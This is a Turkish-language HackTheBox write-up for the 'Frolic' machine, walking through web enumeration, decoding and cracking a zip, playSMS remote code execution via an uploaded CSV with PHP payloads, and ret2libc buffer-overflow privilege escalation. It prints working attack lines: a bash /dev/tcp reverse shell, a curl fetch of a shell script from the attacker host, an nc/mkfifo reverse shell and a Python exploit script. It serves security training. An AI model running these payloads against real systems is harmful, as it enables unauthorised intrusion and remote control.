Frolic / HackTheBox Write-Up

Sistem üzerinde çalışan servisleri tespit etmek amacıyla port scanning yapıyoruz.

Açık olduğunu tespit ettiğimiz portlarda nmap -sV parametresi ile versiyon tespiti yapıyoruz.

9999 portundaki HTTP servisini ziyaret ediyoruz.

Klasik web toollarını kullanmaya başlıyoruz.
dirb http://10.10.10.111:9999/
http://10.10.10.111:9999/dev/backupAşağıda yeni bir dizin için ipucu bulduk.

İlgili sayfayı ziyaret ediyoruz.

playSMS için bir login bilgimiz yok. admin:admin kombinasyonunu deniyoruz ancak giriş başarısız. Belli ki bir yerlerden giriş bilgileri edineceğiz.
/admin dizinini barındıran URL’ i ziyaret ettiğimizde aşağıdaki şekilde bir web sayfası bizi karşılıyor.

Tahmin edilebilir kombinasyonlarla login olmaya çalışıyoruz ancak başarılı olamıyoruz. Kaynak kodunu bir inceleyelim. Login için credentials check işlemini yapan scriptin dosya yolunu buluyoruz.

İlgili dosyaya erişim sağlayarak ne şekilde login formu geçebileceğimizi öğrenebiliriz. Aşağıdaki ekran görüntüsünde giriş için gerekli kullanıcı parola kombinasyonunu elde ediyoruz.

Elde ettiğimiz credential aşağıdadır.
admin:superduperlooperpassword_lolİlgili form ile sayfaya erişim sağladıktan sonra aşağıdaki ekran görüntüsünde verilen web sayfası bizi karşılıyor.

Anlamsız bir string bizi karşıladı. Ancak ifadeyi Google’ dan search ederek belki type olarak belirleyebiliriz.
Aşağıdaki ekran görüntüsünde ifadeyi decode eden bir tool ile decode edilmiş halini gösteren web sayfasını görüntülüyoruz.

Görüldüğü gibi aşağıdaki dizini ziyaret etmemizi söyleyen bir ifadeye ulaşmış olduk.
Nothing here check /asdiSIAJJ0QWE9JASİlgili sayfayı ziyaret ediyoruz. Şekildeki stringden bu ifadenin bir base64 hashi olduğunu anlıyoruz. İfadeyi olduğu gibi local makinemize kaydederken string arasında space ile verilmiş boşlukları kaldırarak kaydedip aşağıdaki kod ile decode edeceğiz.

İlgili ifadeyi alıp aşağıdaki ekran görüntüsünde görüleceği üzere decode ettik. Çıktı olarak kaydettiğimiz “decodedfile” dosyasına “file” komutu ile baktığımızda görüleceği üzere bir “Zip” dosyasını elde etmiş olduk.


“unzip” ile hiçbir şekilde dosyayı açamıyoruz.
Google ile yaptığımız araştırmada zip dosyalarını ve özellikle şifreli zip dosyalarını linux üzerinde “fcrackzip” ile açabildiğimizi öğreniyoruz.
fcrackzip decodedfile -u -D -p /usr/share/wordlists/rockyou.txtİlgili toolu kullanarak şifreyi elde ettik.

unzip ile dosyayı açtığımızda yine bir string ifade ile karşılaşıyoruz.

İlgili ifadeyi “Cyber Chef” ile decode etmeye çalıştığımızda cyber chef otomatik olarak stringden hashin typeini anlayarak bize aşağıdaki ekran görüntüsünde kırmızı ile işaretlenmiş bir alan çıkarıyor. İlgili alandaki kısma tıkladığımızda otomatik bir şekilde bize stringin decode edilmiş halini gösteriyor.

İlgili alana tıklandığında ise aşağıdaki şekilde decode edilmiş ifade ile karşı karşıya kalıyoruz. Bu sefer de decode edilmiş ifadenin yine base64 bir hash değeri olduğunu anlıyoruz.

Aşağıdaki şekilde cyber cheften base64 decode alanını takip ederek ifadeyi tekrar decode ediyoruz.

İlgili ifadeyi yine olduğu gibi Google üzerinden aratıyoruz. Tekrar az önceki sayfa üzerinden decode ederek aşağıdaki ekran görüntüsünde verilen şifreyi buluyoruz.
idkwhatispass
Elde ettiğimiz şifreyi aşağıdaki kombinasyonla playSMS üzerinde deniyoruz.
admin:idkwhatispassYukarıdaki şekildeki login bilgileriyle sisteme giriş yapıyoruz. Artık sistemde file upload edilebilecek yerleri araştırmamız gerekiyor.

Aşağıdaki ekran görüntüsünde görüleceği üzere CSV upload edebileceğimiz bir yer bulduk.

Ekran görüntüsünden anladığımız üzere bizden 3 farklı parametreyi girmemizi istiyor. (destination number, message, username)
Sistem üzerinde bir deneme yapıyoruz. İstenilen parametrelere herhangi bir değer girmeyi deneyelim.
Aşağıdaki ekran görüntüsünde görüldüğü üzere geçerli bir değer girildiğini sistemden öğrenebiliyoruz.

searchsploit üzerinde playSMS ile ilgili aşağıdaki ekran görüntüsünde verilen exploitleri görüntülüyoruz.

Aşağıdaki kod ile metasploit üzerinde bulunan exploit içerisindeki payloada bakacağız.
searchsploit -m exploits/php/remote/44599.rbAşağıdaki ekranda görüldüğü üzere payload aşağıdaki şekildedir.
<?php $t=$_SERVER[‘HTTP_USER_AGENT’]; eval($t); ?>
İlgili kod üzerinde değişiklik yaprak sisteme yükleyerek komut çalıştırmayı deniyoruz.
<?php system(‘whoami’); ?>,1,2İlgili kodu exploit.csv şeklinde playSMS’ e yüklediğimizde aşağıdaki şekilde kodu çalıştırabildiğimizi görüyoruz.
Ekran görüntüsünde görüldüğü üzere “www-data” usernamini elde edebildik.

Bu komutu çalıştırabildiysek reverse tcp için php kodunda çalıştırabileceğimiz bir payload oluşturabilirsek buradan bir bağlantı alabiliriz.
Lokalimizde bir bash script oluşturarak upload ettiğimiz csv dosyasının sistemde çalıştığı anda bize reverse tcp connect sağlayacak bir script yazarak sistemimizde python ile basit bir http server oluşturuyoruz.
bash -i >& /dev/tcp/10.10.14.18/8080 0>&1
python -m SimpleHTTPServer 80Payloadımızı aşağıdaki şekilde güncelliyoruz.
<?php system('curl http://10.10.14.18/exploit.sh'); ?>,1,2playSMS’ e yüklüyoruz ve shell alıyoruz.

Burada alternatif olarak farklı Burp Suite kullanarak da exploitimizi çalıştırabiliriz. Bunun için öncelikle metasploitteki exploitin payloadını aşağıdaki şekilde düzenliyoruz.
<?php $t=$_SERVER[‘HTTP_USER_AGENT’]; system($t); ?>,1123,1233
Oluşturduğumuz “test.csv” dosyasını playSMS üzerinde import ettiğimiz isteği burp intercept ile yakalıyoruz.
Burp üzerinde aşağıdaki ekran görüntüsündeki şekilde bir istek düzenliyoruz. Aynı zamanda local 8989 portumuzu dinlemeye alıyoruz.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.18 4444 >/tmp/fnc -lvnp 4444

Aşağıdaki ekran görüntüsünde verildiği üzere “www-data” kullanıcısı yetkileriyle reverse tcp bağlantısını sağladık.

python -c “import pty; pty.spawn(‘/bin/bash’)”İlk bayrağımızı alıyoruz.

Privilege Escalation
Hak yükseltme için keşif çalışması yapıyoruz.
Suid bit içeren bir dosya buluyoruz.

“rop” dosyasının kullanımı aşağıdaki şekildedir.

“base64 rop” komutuyla uygulamanın base64 hashini lokalimize alıyoruz.

Lokalimizde ise “base64 -d” parametresi ile tekrar çalıştırılabilir bir elf dosyası haline getiriyoruz.

gdb (gnudebugger) peda ile uygulamayı inceliyoruz.

rop uygulamasına 100 karakterlik bir pattern verelim.
Ekran görüntüsünde görüldüğü üzere segmentation fault hatası döndü. Demek ki burda bir BoF zafiyeti olabilir. “pattern_offset” ile 52. karakterden itibaren bufferın taştığını anlıyoruz.
Uygulama çalıştığında EIP değeri olarak AAGA değerini aldığını aşağıdaki ekran görüntüsünde görebiliyoruz.

Aşağıdaki kodu kullanarak python ile 52 karakter uzunluğunda “A” harfini ekrana yazdırıyoruz.
python -c ‘print “A”*52’Aşağıdaki ekran görüntüsünde görüldüğü üzere uygulamaya input olarak ilk “Merhaba” yazdığımızda uygulamanın normal çalıştığını, ancak 52 karakter uzunluktan sonra girilen “1111” karakterlerini EIP değeri olarak ve “2222” karakterlerini ise ESP değeri olarak çalıştırırken uygulamanın crash olduğunu görüyoruz.

BoF zafiyetinde hedefimiz uygulamanın EIP değerini kontrol ederek ESP üzerinde komut çalıştırmak olduğundan aşağıdaki şekildeki bir komutla artık ESP üzerinde çalışacak komutu kontrol etmenin elimizde olduğunu anlayabiliriz.
52*A+BBBB
Yukarıdaki ifadeden sonra gelecek her karakter artık uygulama üzerinde ESP değeri olarak çalışacağından ve ESP’ ye bir shellcode yazabilirsek bize uygulama aracılığıyla bir shell verecektir.
Öncelikle ASLR koruması olup olmadığını hedef sistem üzerinde öğrenmemiz gerekiyor.
ASLR, uygulama her çalıştığında farklı bir EIP değeri belirlediğinden BoF zafiyetine karşı bir koruma sağlamaktadır.
Aşağıdaki komutu çalıştırdığımızda “0” ya da “1” outputuna göre koruma olup olmadığını anlayabiliriz.
cat /proc/sys/kernel/randomize_va_spaceAşağıdaki ekran görüntüsünde görüleceği üzere bir korumanın olmadığını ve işletim sisteminin 32 bit olduğunu anlayabiliyoruz.

Find libc Address
ldd rop
Find system Address
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system 
Find exit Address
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit
Find /bin/sh Address
strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
İhtiyacımız olan tüm bilgileri topladığımıza göre artık shellcode yazabiliriz.
import struct offset = “A”*52 libc_base_addr = 0xb7e19000
system_base_addr = 0x0003ada0
exit_base_addr = 0x0002e9d0
base_sh = 0x0015ba0b system_addr = struct.pack(“<I”, libc_base_addr + system_base_addr) exit_addr = struct.pack (“<I”, libc_base_addr + exit_base_addr) bin_sh = struct.pack(“<I”, libc_base_addr + base_sh)print offset + system_addr + exit_addr + bin_sh

